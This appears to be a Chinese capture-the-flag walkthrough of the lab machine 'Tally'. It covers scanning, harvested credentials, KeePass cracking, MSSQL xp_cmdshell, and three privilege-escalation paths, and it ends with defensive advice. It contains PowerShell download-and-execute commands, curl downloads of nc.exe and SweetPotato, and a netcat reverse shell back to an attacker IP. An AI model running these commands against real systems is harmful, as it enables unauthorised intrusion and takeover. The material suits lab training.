Tally SharePoint+Keepass+Firefox 44.0-RCE+MSSQL-RCE+定时任务权限提升+SweetPotato权限提升+CVE-2017-0213权限提升
字数 1634 2025-08-20 18:18:05

Windows渗透测试实战教学:从信息收集到权限提升

1. 信息收集阶段

1.1 端口扫描

使用Nmap进行全端口扫描:

nmap -p- 10.10.10.59 --min-rate 1000 -sC -sV -Pn

关键发现:

  • 21/tcp: FTP服务 (Microsoft ftpd)
  • 80/tcp: HTTP (Microsoft IIS 10.0, SharePoint)
  • 81/tcp: HTTP (Microsoft HTTPAPI)
  • 1433/tcp: MS-SQL (Microsoft SQL Server 2016)
  • 5985/tcp: WinRM (HTTPAPI)

1.2 SharePoint信息收集

访问SharePoint站点:

http://10.10.10.59/_layouts/15/viewlsts.aspx

发现Word文档中包含FTP凭据:

  • 用户名: tally
  • 密码: UTDRSCH53c"$6hys

2. 初始访问

2.1 FTP访问

使用发现的凭据连接FTP:

ftp 10.10.10.59

下载所有文件:

wget -r 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'

关键发现:

  • 在./User/Tim/Files/目录下发现tim.kdbx (KeePass密码数据库)

2.2 KeePass密码破解

提取KeePass哈希:

keepass2john ./User/Tim/Files/tim.kdbx > hash

使用hashcat破解:

hashcat -m 13400 hash /usr/share/wordlists/rockyou.txt --force

发现密码: simplementeyo

查看KeePass内容:

kpcli --kdb ./User/Tim/Files/tim.kdbx

发现更多凭据:

  • 用户名: Finance
  • 密码: Acc0unting

2.3 SMB访问

使用发现的凭据访问SMB共享:

crackmapexec smb 10.10.10.59 -u Finance -p Acc0unting
smbmap -H 10.10.10.59 -u Finance -p Acc0unting

挂载共享:

mkdir /mnt/10.10.10.59
sudo mount -t cifs -o user=Finance,pass=Acc0unting //10.10.10.59/ACCT /mnt/10.10.10.59

在共享中发现tester.exe,提取SQL凭据:

strings './zz_Migration/Binaries/New folder/tester.exe'

发现SQL SA凭据:

  • 用户名: sa
  • 密码: GWE3V65#6KFH93@4GWTG2G

3. 漏洞利用

3.1 方法1:Firefox 44.0 RCE (CVE-2016-1960)

利用步骤:

  1. 上传恶意HTML到FTP的Intranet目录
  2. 创建index.html文件,内容为Firefox漏洞利用代码
  3. 等待受害者访问触发漏洞

关键点:

  • 漏洞类型:整数下溢(Integer underflow)
  • 影响版本:Firefox < 45.0
  • 利用链:触发漏洞后执行PowerShell反向shell

3.2 方法2:MSSQL XP_CMDSHELL

使用impacket连接MSSQL:

impacket-mssqlclient sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59

启用xp_cmdshell并执行PowerShell反向shell:

enable_xp_cmdshell
EXEC xp_cmdshell 'powershell -ExecutionPolicy Bypass -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.16.12/Invoke-PowerShellTcp.ps1'')"'

4. 权限提升

4.1 方法1:定时任务权限提升

发现点:

  • 在系统中发现SPBestWarmUp.ps1脚本
  • 该脚本由Admin用户通过计划任务定期执行
  • 当前用户对该脚本有完全控制权限

利用步骤:

  1. 替换SPBestWarmUp.ps1内容为反向shell代码
  2. 等待计划任务执行获取Admin权限shell

4.2 方法2:SweetPotato提权 (SeImpersonate)

检查当前权限:

whoami /priv

发现SeImpersonate权限可用

下载并执行SweetPotato:

curl -O nc.exe http://10.10.16.12/nc64.exe
curl -O SweetPotato.exe http://10.10.16.12/SweetPotato.exe
.\SweetPotato.exe -p "\Users\Sarah\Downloads\nc.exe" -a "-e powershell 10.10.16.12 10011"

4.3 方法3:COM Aggregate Marshaler提权 (CVE-2017-0213)

检查系统信息:

systeminfo

发现适用于Windows 7/2008 R2/8.1/2012 R2

利用步骤:

  1. 下载并编译漏洞利用代码
  2. 上传nc.exe和编译后的rev.exe
  3. 执行rev.exe获取SYSTEM权限

5. 后渗透

获取用户flag:

01d18a8e9b980594fc9ae1cbc66e7880

获取系统flag:

27c3429c280426f0145fe18f647a1fb3

6. 关键工具和资源

  • Nmap:端口扫描
  • KeePass2John:KeePass哈希提取
  • Hashcat:密码破解
  • Impacket:MSSQL客户端
  • SweetPotato:SeImpersonate提权工具
  • CVE-2017-0213利用代码:COM Aggregate Marshaler提权
  • PowerShell反向shell脚本:Invoke-PowerShellTcp.ps1

7. 防御建议

  1. 及时更新浏览器和系统补丁
  2. 限制FTP匿名访问
  3. 加强密码策略,避免密码重用
  4. 限制xp_cmdshell使用
  5. 定期审计计划任务和权限分配
  6. 监控异常进程创建和网络连接
Windows渗透测试实战教学:从信息收集到权限提升 1. 信息收集阶段 1.1 端口扫描 使用Nmap进行全端口扫描: 关键发现: 21/tcp: FTP服务 (Microsoft ftpd) 80/tcp: HTTP (Microsoft IIS 10.0, SharePoint) 81/tcp: HTTP (Microsoft HTTPAPI) 1433/tcp: MS-SQL (Microsoft SQL Server 2016) 5985/tcp: WinRM (HTTPAPI) 1.2 SharePoint信息收集 访问SharePoint站点: 发现Word文档中包含FTP凭据: 用户名: tally 密码: UTDRSCH53c"$6hys 2. 初始访问 2.1 FTP访问 使用发现的凭据连接FTP: 下载所有文件: 关键发现: 在./User/Tim/Files/目录下发现tim.kdbx (KeePass密码数据库) 2.2 KeePass密码破解 提取KeePass哈希: 使用hashcat破解: 发现密码: simplementeyo 查看KeePass内容: 发现更多凭据: 用户名: Finance 密码: Acc0unting 2.3 SMB访问 使用发现的凭据访问SMB共享: 挂载共享: 在共享中发现tester.exe,提取SQL凭据: 发现SQL SA凭据: 用户名: sa 密码: GWE3V65#6KFH93@4GWTG2G 3. 漏洞利用 3.1 方法1:Firefox 44.0 RCE (CVE-2016-1960) 利用步骤: 上传恶意HTML到FTP的Intranet目录 创建index.html文件,内容为Firefox漏洞利用代码 等待受害者访问触发漏洞 关键点: 漏洞类型:整数下溢(Integer underflow) 影响版本:Firefox < 45.0 利用链:触发漏洞后执行PowerShell反向shell 3.2 方法2:MSSQL XP_ CMDSHELL 使用impacket连接MSSQL: 启用xp_ cmdshell并执行PowerShell反向shell: 4. 权限提升 4.1 方法1:定时任务权限提升 发现点: 在系统中发现SPBestWarmUp.ps1脚本 该脚本由Admin用户通过计划任务定期执行 当前用户对该脚本有完全控制权限 利用步骤: 替换SPBestWarmUp.ps1内容为反向shell代码 等待计划任务执行获取Admin权限shell 4.2 方法2:SweetPotato提权 (SeImpersonate) 检查当前权限: 发现SeImpersonate权限可用 下载并执行SweetPotato: 4.3 方法3:COM Aggregate Marshaler提权 (CVE-2017-0213) 检查系统信息: 发现适用于Windows 7/2008 R2/8.1/2012 R2 利用步骤: 下载并编译漏洞利用代码 上传nc.exe和编译后的rev.exe 执行rev.exe获取SYSTEM权限 5. 后渗透 获取用户flag: 获取系统flag: 6. 关键工具和资源 Nmap:端口扫描 KeePass2John:KeePass哈希提取 Hashcat:密码破解 Impacket:MSSQL客户端 SweetPotato:SeImpersonate提权工具 CVE-2017-0213利用代码:COM Aggregate Marshaler提权 PowerShell反向shell脚本:Invoke-PowerShellTcp.ps1 7. 防御建议 及时更新浏览器和系统补丁 限制FTP匿名访问 加强密码策略,避免密码重用 限制xp_ cmdshell使用 定期审计计划任务和权限分配 监控异常进程创建和网络连接